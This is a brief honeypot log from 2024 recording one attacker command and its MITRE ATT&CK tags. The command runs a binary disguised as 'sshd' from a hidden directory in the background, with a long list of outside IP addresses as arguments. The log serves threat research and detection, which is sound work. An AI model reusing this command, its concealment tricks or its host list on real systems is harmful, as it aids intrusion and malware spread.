Honeypot attack session (period 2024), commands issued:
chmod +x ./.4117550000135875785/sshd;nohup ./.4117550000135875785/sshd 43.134.46.152 184.171.255.66 117.250.10.204 145.239.196.231 141.11.159.187 64.225.76.134 114.236.138.231 221.181.168.32 183.131.22.164 117.161.233.102 51.159.17.182 103.56.113.100 125.124.199.57 124.118.249.114 202.5.16.82 222.77.96.62 36.99.168.63 47.236.144.160 208.87.240.45 59.38.100.77 125.220.195.10 77.91.84.247 36.112.148.223 181.113.114.115 175.47.180.25 61.164.145.11 180.97.220.14 125.75.62.214 23.94.136.106 154.12.187.10 61.185.15.118 5.42.73.122 134.209.0.27 60.13.37.55 103.244.80.196 45.61.132.227 191.252.92.177 77.87.122.176 51.112.127.89 152.32.172.190 139.199.1.94 51.89.99.105 37.60.225.36 107.172.108.61 79.120.74.12 114.113.151.152 178.170.1.202 65.2.34.90 162.240.149.176 192.227.148.214 112.16.228.85 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter